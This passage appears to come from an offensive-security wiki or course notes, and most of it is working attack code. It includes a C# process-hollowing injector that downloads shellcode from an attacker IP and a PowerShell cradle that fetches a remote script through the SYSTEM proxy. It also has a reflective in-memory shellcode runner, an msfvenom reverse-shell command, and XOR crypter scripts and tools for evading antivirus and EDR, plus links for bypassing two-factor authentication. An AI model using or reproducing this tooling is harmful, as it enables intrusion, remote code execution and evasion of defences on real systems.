            string shellcodeUrl = &amp;quot;http://192.168.1.126/shellcode.bin&amp;quot;; // Replace with the actual URL of the shellcode binary&lt;br /&gt;
            IntPtr processHandle, threadHandle;&lt;br /&gt;
            uint threadId;&lt;br /&gt;
            // Create a suspended process&lt;br /&gt;
            STARTUPINFO si = new STARTUPINFO();&lt;br /&gt;
            PROCESS_INFORMATION pi = new PROCESS_INFORMATION();&lt;br /&gt;
            bool success = CreateProcess(null, targetPath, IntPtr.Zero, IntPtr.Zero,&lt;br /&gt;
                false, 0x4, IntPtr.Zero, null, ref si, out pi);&lt;br /&gt;
            if (!success)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;CreateProcess failed: &amp;quot; + Marshal.GetLastWin32Error());&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            // Query process information to get the PEB address&lt;br /&gt;
            PROCESS_BASIC_INFORMATION bi = new PROCESS_BASIC_INFORMATION();&lt;br /&gt;
            uint tmp = 0;&lt;br /&gt;
            IntPtr hProcess = pi.hProcess;&lt;br /&gt;
            ZwQueryInformationProcess(hProcess, 0, ref bi, (uint)(IntPtr.Size * 6), ref tmp);&lt;br /&gt;
            // Calculate the address of the EntryPoint&lt;br /&gt;
            IntPtr ptrToImageBase = (IntPtr)((Int64)bi.PebAddress + 0x10);&lt;br /&gt;
            byte[] addrBuf = new byte[IntPtr.Size];&lt;br /&gt;
            IntPtr nRead = IntPtr.Zero;&lt;br /&gt;
            ReadProcessMemory(hProcess, ptrToImageBase, addrBuf, addrBuf.Length, out nRead);&lt;br /&gt;
            IntPtr svchostBase = (IntPtr)(BitConverter.ToInt64(addrBuf, 0));&lt;br /&gt;
            // Read the PE header to locate the EntryPoint&lt;br /&gt;
            byte[] peHeader = new byte[0x200];&lt;br /&gt;
            ReadProcessMemory(hProcess, svchostBase, peHeader, peHeader.Length, out nRead);&lt;br /&gt;
            uint e_lfanew_offset = BitConverter.ToUInt32(peHeader, 0x3C);&lt;br /&gt;
            uint opthdr = e_lfanew_offset + 0x28;&lt;br /&gt;
            uint entrypoint_rva = BitConverter.ToUInt32(peHeader, (int)opthdr);&lt;br /&gt;
            IntPtr addressOfEntryPoint = (IntPtr)(entrypoint_rva + (UInt64)svchostBase);&lt;br /&gt;
            // Read the shellcode from the specified URL&lt;br /&gt;
            byte[] shellcode;&lt;br /&gt;
            using (HttpClient client = new HttpClient())&lt;br /&gt;
            {&lt;br /&gt;
                try&lt;br /&gt;
                {&lt;br /&gt;
                    shellcode = await client.GetByteArrayAsync(shellcodeUrl);&lt;br /&gt;
                }&lt;br /&gt;
                catch (Exception ex)&lt;br /&gt;
                {&lt;br /&gt;
                    Console.WriteLine(&amp;quot;Error downloading shellcode: &amp;quot; + ex.Message);&lt;br /&gt;
                    return;&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            // Overwrite the EntryPoint with the downloaded shellcode&lt;br /&gt;
            IntPtr nWritten = IntPtr.Zero;&lt;br /&gt;
            WriteProcessMemory(hProcess, addressOfEntryPoint, shellcode, shellcode.Length, out nWritten);&lt;br /&gt;
            // Resume the suspended thread&lt;br /&gt;
            ResumeThread(pi.hThread);&lt;br /&gt;
            Console.WriteLine(&amp;quot;Shellcode injected and executed successfully.&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-08-image-5.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
== Phishing ==&lt;br /&gt;
&lt;br /&gt;
=== Bypass 2-Fa ===&lt;br /&gt;
&lt;br /&gt;
[https://www.youtube.com/watch?v=FwGeBW6OurM&amp;amp;t=662s Hackers Bypass Google Two-Factor Authentication (2FA) SMS - YouTube]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/kgretzky/evilginx2 GitHub - kgretzky/evilginx2: Standalone man-in-the-middle attack framework used for phishing login credentials along with session cookies, allowing for the bypass of 2-factor authentication]&lt;br /&gt;
&lt;br /&gt;
== Proxy-aware PowerShell Cradle ==&lt;br /&gt;
&lt;br /&gt;
A proxy is an intermediary server that sits between a user&#039;s computer and the internet, often used for security, monitoring, and content control. The section discusses how different PowerShell download cradles, which are scripts or commands used to fetch and execute remote code, handle communication via proxies. Some PowerShell methods are inherently proxy-aware due to their reliance on .NET libraries that respect system-defined proxy settings. The content further explains how these methods can be manipulated to interact with or bypass proxy settings, highlighting potential security considerations.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;192.168.168.11 - Victim &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;192.168.168.12 - Proxy server&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
=== Setting up proxy ===&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== List of proxy-aware PowerShell cradles ===&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Net.WebClient (as you&#039;ve seen)&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   $wc = New-Object System.Net.WebClient&lt;br /&gt;
   $wc.DownloadString(&#039;http://example.com/script.ps1&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;Net.WebClient&amp;lt;/code&amp;gt; class respects the system proxy settings by default.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Invoke-WebRequest and Invoke-RestMethod&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   Invoke-WebRequest -Uri &#039;http://example.com/script.ps1&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
or&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   Invoke-RestMethod -Uri &#039;http://example.com/script.ps1&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
These cmdlets are available in PowerShell v3 and later and are proxy-aware. They will use the system proxy settings unless overridden with the &amp;lt;code&amp;gt;-Proxy&amp;lt;/code&amp;gt; parameter.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;System.Net.HttpWebRequest&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   $req = [System.Net.HttpWebRequest]::Create(&#039;http://example.com/script.ps1&#039;)&lt;br /&gt;
   $resp = $req.GetResponse()&lt;br /&gt;
   $sr = New-Object IO.StreamReader($resp.GetResponseStream())&lt;br /&gt;
   $result = $sr.ReadToEnd()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Like &amp;lt;code&amp;gt;Net.WebClient&amp;lt;/code&amp;gt;, the &amp;lt;code&amp;gt;HttpWebRequest&amp;lt;/code&amp;gt; class also respects system proxy settings by default. Its behavior can be altered by changing the &amp;lt;code&amp;gt;.Proxy&amp;lt;/code&amp;gt; property of the request object.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;BitsTransfer&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   Import-Module BitsTransfer&lt;br /&gt;
   Start-BitsTransfer -Source &#039;http://example.com/script.ps1&#039; -Destination &#039;path\to\save&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;BitsTransfer&amp;lt;/code&amp;gt; module is used to transfer files, and it is proxy-aware. It respects system proxy settings.&lt;br /&gt;
&lt;br /&gt;
=== SYSTEM Proxy with Net.WebClient ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Create a Proxy Configuration for SYSTEM&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Proxy settings per user are stored in the registry at:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
  HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\InternetSettings&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* When accessing as SYSTEM, &amp;lt;code&amp;gt;HKEY_CURRENT_USER&amp;lt;/code&amp;gt; does not exist. Use &amp;lt;code&amp;gt;HKEY_USERS&amp;lt;/code&amp;gt; instead.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;PowerShell to Setup Proxy for SYSTEM Integrity&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Map HKEY_USERS registry hive:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   New-PSDrive -Name HKU -PSProvider Registry -Root HKEY_USERS | Out-Null&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Find the correct user hive based on SID:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   $keys = Get-ChildItem &#039;HKU:\&#039;&lt;br /&gt;
   ForEach ($key in $keys) {&lt;br /&gt;
       if ($key.Name -like &amp;quot;*S-1-5-21-*&amp;quot;) {&lt;br /&gt;
           $start = $key.Name.substring(10)&lt;br /&gt;
           break&lt;br /&gt;
       }&lt;br /&gt;
   }&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Fetch the proxy settings:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   $proxyAddr = (Get-ItemProperty -Path &amp;quot;HKU:$start\Software\Microsoft\Windows\CurrentVersion\Internet Settings\&amp;quot;).ProxyServer&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Create and assign the proxy object:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
   [system.net.webrequest]::DefaultWebProxy = new-object System.Net.WebProxy(&amp;quot;http://$proxyAddr&amp;quot;)&lt;br /&gt;
   $wc = new-object system.net.WebClient&lt;br /&gt;
   $wc.DownloadString(&amp;quot;http://192.168.119.120/run2.ps1&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Full Code for SYSTEM Proxy-Aware Download Cradle ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
New-PSDrive -Name HKU -PSProvider Registry -Root HKEY_USERS | Out-Null&lt;br /&gt;
$keys = Get-ChildItem &#039;HKU:\&#039;&lt;br /&gt;
ForEach ($key in $keys) {&lt;br /&gt;
    if ($key.Name -like &amp;quot;*S-1-5-21-*&amp;quot;) {&lt;br /&gt;
        $start = $key.Name.substring(10)&lt;br /&gt;
        break&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
$proxyAddr = (Get-ItemProperty -Path &amp;quot;HKU:$start\Software\Microsoft\Windows\CurrentVersion\Internet Settings\&amp;quot;).ProxyServer&lt;br /&gt;
[system.net.webrequest]::DefaultWebProxy = new-object System.Net.WebProxy(&amp;quot;http://$proxyAddr&amp;quot;)&lt;br /&gt;
$wc = new-object system.net.WebClient&lt;br /&gt;
$wc.DownloadString(&amp;quot;http://192.168.119.120/run2.ps1&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Note&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Close the PowerShell_ISE prompt and rerun the code if previous steps have been executed, as mapping &amp;lt;code&amp;gt;HKEY_USERS&amp;lt;/code&amp;gt; will persist across reruns.&lt;br /&gt;
&lt;br /&gt;
== Reflection Load (In-memory) ==&lt;br /&gt;
&lt;br /&gt;
=== Powershell ===&lt;br /&gt;
&lt;br /&gt;
Generate shellcode based on the architecture of the vicitim. If run as a Word Macro its most likely x86. See Dropper/VBA for code to use in Word Macro. Host the code below on the attacker through Apache2 or SimpleHTTPserver and run the VBA on Victim.&lt;br /&gt;
&lt;br /&gt;
This code below is same as &amp;lt;code&amp;gt;Simple Shellcode Runner Powershell Ver 2&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
function LookupFunc {&lt;br /&gt;
    Param ($moduleName, $functionName)&lt;br /&gt;
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |&lt;br /&gt;
              Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split(&#039;\\&#039;)[-1].&lt;br /&gt;
              Equals(&#039;System.dll&#039;) }).GetType(&#039;Microsoft.Win32.UnsafeNativeMethods&#039;)&lt;br /&gt;
    $tmp=@()&lt;br /&gt;
    $assem.GetMethods() | ForEach-Object {&lt;br /&gt;
        If($_.Name -eq &amp;quot;GetProcAddress&amp;quot;) {&lt;br /&gt;
            $tmp+=$_&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
    return $tmp[0].Invoke($null, @(($assem.GetMethod(&#039;GetModuleHandle&#039;)).Invoke($null,&lt;br /&gt;
    @($moduleName)), $functionName))&lt;br /&gt;
}&lt;br /&gt;
function getDelegateType {&lt;br /&gt;
    Param (&lt;br /&gt;
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,&lt;br /&gt;
        [Parameter(Position = 1)] [Type] $delType = [Void]&lt;br /&gt;
    )&lt;br /&gt;
    $type = [AppDomain]::CurrentDomain.&lt;br /&gt;
            DefineDynamicAssembly((New-Object System.Reflection.AssemblyName(&#039;ReflectedDelegate&#039;)),&lt;br /&gt;
            [System.Reflection.Emit.AssemblyBuilderAccess]::Run).&lt;br /&gt;
            DefineDynamicModule(&#039;InMemoryModule&#039;, $false).&lt;br /&gt;
            DefineType(&#039;MyDelegateType&#039;, &#039;Class, Public, Sealed, AnsiClass, AutoClass&#039;,&lt;br /&gt;
            [System.MulticastDelegate])&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineConstructor(&#039;RTSpecialName, HideBySig, Public&#039;,&lt;br /&gt;
    [System.Reflection.CallingConventions]::Standard, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineMethod(&#039;Invoke&#039;, &#039;Public, HideBySig, NewSlot, Virtual&#039;, $delType, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    return $type.CreateType()&lt;br /&gt;
}&lt;br /&gt;
$lpMem =&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(&lt;br /&gt;
    (LookupFunc kernel32.dll VirtualAlloc),&lt;br /&gt;
    (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))&lt;br /&gt;
).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)&lt;br /&gt;
[Byte[]] $buf = 0xfc,0xe8,0x82,0x0,0x0,0x0...&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length)&lt;br /&gt;
$hThread =&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(&lt;br /&gt;
    (LookupFunc kernel32.dll CreateThread),&lt;br /&gt;
    (getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))&lt;br /&gt;
).Invoke([IntPtr]::Zero,0,$lpMem,[IntPtr]::Zero,0,[IntPtr]::Zero)&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(&lt;br /&gt;
    (LookupFunc kernel32.dll WaitForSingleObject),&lt;br /&gt;
    (getDelegateType @([IntPtr], [Int32]) ([Int]))&lt;br /&gt;
).Invoke($hThread, 0xFFFFFFFF)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Shellcode obfuscation script ==&lt;br /&gt;
&lt;br /&gt;
There are many obfuscation tools available online that are great at obfuscating shellcode and help bypass AV. Not all will work right out of the box, but there might be some. Some might need tweaking in order to bypass AV, some might not work at all.&lt;br /&gt;
&lt;br /&gt;
=== Espio ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/Konis-Bros/Espio/tree/main Konis-Bros/Espio: Shellcode obfuscation tool to avoid AV/EDR. (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
# The obfuscation method usid is xor&lt;br /&gt;
def obfuscate_payload(payload, key):&lt;br /&gt;
    encrypted_payload = &amp;quot;&amp;quot;&lt;br /&gt;
    for i in range(len(payload)):&lt;br /&gt;
        obf_char = chr(payload[i] ^ ord(key[i % len(key)]))&lt;br /&gt;
        hex_char = hex(ord(obf_char))&lt;br /&gt;
        if len(hex_char) == 3:&lt;br /&gt;
            hex_char = f&amp;quot;0x0{hex_char[-1]}&amp;quot;&lt;br /&gt;
        encrypted_payload += hex_char&lt;br /&gt;
    encrypted_payload_bytes = encrypted_payload.encode(&amp;quot;UTF-8&amp;quot;)&lt;br /&gt;
    obfuscated_payload_bytes = base64.b64encode(encrypted_payload_bytes)&lt;br /&gt;
    obfuscated_payload = obfuscated_payload_bytes.decode(&amp;quot;UTF-8&amp;quot;)&lt;br /&gt;
    return &amp;quot;&amp;quot;.join(obfuscated_payload)&lt;br /&gt;
&lt;br /&gt;
def generate_key():&lt;br /&gt;
    letters = [chr(ascii_value) for ascii_value in range(33, 127)]&lt;br /&gt;
    key = &amp;quot;&amp;quot;.join(random.choices(letters, k=random.randint(100, 500)))&lt;br /&gt;
    return key&lt;br /&gt;
# In main.cpp the decryption routine&lt;br /&gt;
	int keyIndex = 0;&lt;br /&gt;
	for (int i = 0; i &amp;lt; encryptedPayloadSize; i += 4)&lt;br /&gt;
	{&lt;br /&gt;
		std::string currentByte = std::string() + encryptedPayload[i] + encryptedPayload[i + 1] + encryptedPayload[i + 2] + encryptedPayload[i + 3];&lt;br /&gt;
		payload += stol(currentByte, nullptr, 0) ^ key[keyIndex++ % keySize];&lt;br /&gt;
	}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Scarecrow ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/optiv/ScareCrow optiv/ScareCrow: ScareCrow - Payload creation framework designed around EDR bypass. (github.com)]&lt;br /&gt;
&lt;br /&gt;
ScareCrow is a payload creation framework for side loading (not injecting) into a legitimate Windows process (bypassing Application Whitelisting controls). Once the DLL loader is loaded into memory, it utilizes a technique to flush an EDR’s hook out of the system DLLs running in the process&#039;s memory. This works because we know the EDR’s hooks are placed when a process is spawned.&lt;br /&gt;
&lt;br /&gt;
[https://adamsvoboda.net/evading-edr-with-scarecrow/ Evading EDR in 15 Minutes with ScareCrow (adamsvoboda.net)]&lt;br /&gt;
&lt;br /&gt;
We generate a raw shellcode using ex. Metasploit, Cobalt strik etc and then pass it to Scarecrow We will then get a loader back that will implement some common EDR evasion techniques.&lt;br /&gt;
&lt;br /&gt;
ScareCrow takes your raw shellcode and encrypts it using AES. This will help with on-disk detection when AV/EDR scans the loader.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/opt/ScareCrow/ScareCrow -I stager.bin -Loader binary -domain microsoft.com&lt;br /&gt;
# Check -h for detailed info.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== ShellCrypt ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/iilegacyyii/Shellcrypt iilegacyyii/Shellcrypt: A QoL tool to obfuscate shellcode. In the future will be able to chain encoding/encryption/compression methods. (github.com)]&lt;br /&gt;
&lt;br /&gt;
== Encryption Methods ==&lt;br /&gt;
&lt;br /&gt;
* AES (128-bit CBC)&lt;br /&gt;
&lt;br /&gt;
* ChaCha20&lt;br /&gt;
&lt;br /&gt;
* RC4&lt;br /&gt;
&lt;br /&gt;
* Salsa20&lt;br /&gt;
&lt;br /&gt;
* XOR&lt;br /&gt;
&lt;br /&gt;
== [https://github.com/iilegacyyii/Shellcrypt#supported-formats https://github.com/iilegacyyii/Shellcrypt#supported-formats]Supported Formats ==&lt;br /&gt;
&lt;br /&gt;
* C&lt;br /&gt;
&lt;br /&gt;
* C#&lt;br /&gt;
&lt;br /&gt;
* Nim&lt;br /&gt;
&lt;br /&gt;
* Golang&lt;br /&gt;
&lt;br /&gt;
* Python&lt;br /&gt;
&lt;br /&gt;
* Powershell&lt;br /&gt;
&lt;br /&gt;
* Visual Basic for Applications (VBA)&lt;br /&gt;
&lt;br /&gt;
* Visual Basic Script (VBS)&lt;br /&gt;
&lt;br /&gt;
* Rust&lt;br /&gt;
&lt;br /&gt;
* Raw&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
python3 shellcrypt.py -i shellcode.bin -e xor -f csharp&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Shellcode injection techniques ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/plackyhacker/Shellcode-Injection-Techniques/tree/master plackyhacker/Shellcode-Injection-Techniques: A collection of C# shellcode injection techniques. All techniques use an AES encrypted meterpreter payload. I will be building this project up as I learn, discover or develop more techniques. Some techniques are better than others at bypassing AV. (github.com)]&lt;br /&gt;
&lt;br /&gt;
From github: &amp;quot;A collection of C# shellcode injection techniques. All techniques use an AES encrypted meterpreter payload.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
* Assembly Injection&lt;br /&gt;
&lt;br /&gt;
* Shellcode Runner&lt;br /&gt;
&lt;br /&gt;
* Classic Injection&lt;br /&gt;
&lt;br /&gt;
* Thread Hijacking&lt;br /&gt;
&lt;br /&gt;
* Local Thread Hijacking&lt;br /&gt;
&lt;br /&gt;
* Asychronous Procedure Call Injection&lt;br /&gt;
&lt;br /&gt;
* Process Hollowing&lt;br /&gt;
&lt;br /&gt;
* Inter-Process Mapped View&lt;br /&gt;
&lt;br /&gt;
* Atom Bombing&lt;br /&gt;
&lt;br /&gt;
== Shellcode Encryptors ==&lt;br /&gt;
&lt;br /&gt;
=== Shellcode Encryptors - Helper code ===&lt;br /&gt;
&lt;br /&gt;
Below are codes that will encrypt the shellcode you provide. Compile in Visual Studios and run them.&lt;br /&gt;
&lt;br /&gt;
==== ShellcodeCrypter-bin.py ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root㉿kali)-[/home/kali/Desktop/osep]&lt;br /&gt;
└─# msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.45.156 LPORT=443 -f raw -o shell.bin&lt;br /&gt;
&lt;br /&gt;
┌──(root㉿kali)-[/home/kali/Desktop/osep]&lt;br /&gt;
└─# python3 shellcode-bin.py shell.bin cs xor 0xfa&lt;br /&gt;
[i] Generating payload for path shell.bin.&lt;br /&gt;
[i] Encoding payload with type xor and key 0xfa&lt;br /&gt;
[+] Encoded payload (CSharp):&lt;br /&gt;
// Payload xor-encoded with key 0xfa&lt;br /&gt;
byte[] buf = new byte[68] {&lt;br /&gt;
0xcb,0x21,0x0d,0x19,0xa9,0xb9,0xa9,0x90,0xf8,0x73,0x1b,0x4a,0x9c,&lt;br /&gt;
0x37,0x7a,0x69,0xa3,0x4a,0xc5,0x37,0x7a,0xb3,0x83,0x03,0x92,0x3a,&lt;br /&gt;
0x52,0xd7,0x66,0x92,0xf8,0xfa,0xfb,0x41,0x73,0x1b,0x4a,0x9c,0xaa,&lt;br /&gt;
0xab,0xa9,0x49,0xf9,0x73,0x1b,0x37,0x7a,0xa8,0x92,0x94,0xd5,0x89,&lt;br /&gt;
0x92,0x92,0xd5,0xd5,0x98,0x93,0x73,0x19,0xa8,0xa9,0x73,0x1b,0x4a,&lt;br /&gt;
0xf1,0x37,0x7a&lt;br /&gt;
};&lt;br /&gt;
[i] Decoding function:&lt;br /&gt;
for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
    {&lt;br /&gt;
        buf[i] = (byte)((uint)buf[i] ^ 0xfa);&lt;br /&gt;
    }&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
# ShellcodeCrypter-bin.py&lt;br /&gt;
&lt;br /&gt;
#!/usr/bin/python3&lt;br /&gt;
# Basic shellcode crypter for C# payloads&lt;br /&gt;
# By Cas van Cooten&lt;br /&gt;
import re&lt;br /&gt;
import platform&lt;br /&gt;
import argparse&lt;br /&gt;
import subprocess&lt;br /&gt;
from random import randint&lt;br /&gt;
if platform.system() != &amp;quot;Linux&amp;quot;:&lt;br /&gt;
    exit(&amp;quot;[x] ERROR: Only Linux is supported for this utility script.&amp;quot;)&lt;br /&gt;
class bcolors:&lt;br /&gt;
    OKBLUE = &#039;\033[94m&#039;&lt;br /&gt;
    OKGREEN = &#039;\033[92m&#039;&lt;br /&gt;
    FAIL = &#039;\033[91m&#039;&lt;br /&gt;
    ENDC = &#039;\033[0m&#039;&lt;br /&gt;
    BOLD = &#039;\033[1m&#039;&lt;br /&gt;
# Parse input arguments&lt;br /&gt;
def auto_int(x):&lt;br /&gt;
    return int(x, 0)&lt;br /&gt;
parser = argparse.ArgumentParser()&lt;br /&gt;
parser.add_argument(&amp;quot;path&amp;quot;, help=&amp;quot;the path to load the raw shellcode payload from&amp;quot;, nargs=&#039;?&#039;, default=&amp;quot;/tmp/payload.bin&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;format&amp;quot;, help=&amp;quot;the language to format the output in (&#039;cs&#039; or &#039;cpp&#039;)&amp;quot;, nargs=&#039;?&#039;, default=&amp;quot;cs&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;encoding&amp;quot;, help=&amp;quot;the encoding type to use (&#039;xor&#039; or &#039;rot&#039;)&amp;quot;, nargs=&#039;?&#039;, default=&amp;quot;xor&amp;quot;)&lt;br /&gt;
parser.add_argument(&amp;quot;key&amp;quot;, help=&amp;quot;the key to encode the payload with (integer)&amp;quot;, type=auto_int, nargs=&#039;?&#039;, default=randint(1,255))&lt;br /&gt;
args = parser.parse_args()&lt;br /&gt;
# Generate the shellcode given the input path&lt;br /&gt;
print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Generating payload for path {bcolors.OKGREEN}{args.path}{bcolors.ENDC}.&amp;quot;)&lt;br /&gt;
try:&lt;br /&gt;
    with open(args.path, &amp;quot;rb&amp;quot;) as f:&lt;br /&gt;
        payload = f.read()&lt;br /&gt;
except:&lt;br /&gt;
    exit(f&#039;{bcolors.BOLD}{bcolors.FAIL}[-] Cannot read file: {args.path}{bcolors.ENDC}&#039;)&lt;br /&gt;
# Format the output payload&lt;br /&gt;
if args.format == &amp;quot;cs&amp;quot;:&lt;br /&gt;
    # Encode the payload with the chosen type and key&lt;br /&gt;
    print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Encoding payload with type {bcolors.OKGREEN}{args.encoding}{bcolors.OKBLUE} and key {bcolors.OKGREEN}{hex(args.key)}{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    encodedPayload = []&lt;br /&gt;
    payloadFormatted = &amp;quot;&amp;quot;&lt;br /&gt;
    for byte in payload:&lt;br /&gt;
        byteInt = int(byte)&lt;br /&gt;
        if args.encoding == &amp;quot;xor&amp;quot;:&lt;br /&gt;
            byteInt = byteInt ^ args.key&lt;br /&gt;
        elif args.encoding == &amp;quot;rot&amp;quot;:&lt;br /&gt;
            byteInt = byteInt + args.key &amp;amp; 255&lt;br /&gt;
        else:&lt;br /&gt;
            exit(f&amp;quot;{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Invalid encoding type.{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
        encodedPayload.append(&amp;quot;{0:#0{1}x}&amp;quot;.format(byteInt,4))&lt;br /&gt;
    payLen = len(encodedPayload)&lt;br /&gt;
    encodedPayload = re.sub(&amp;quot;(.{65})&amp;quot;, &amp;quot;\\1\n&amp;quot;, &#039;,&#039;.join(encodedPayload), 0, re.DOTALL)&lt;br /&gt;
    payloadFormatted += f&amp;quot;// Payload {args.encoding}-encoded with key {hex(args.key)}\n&amp;quot;&lt;br /&gt;
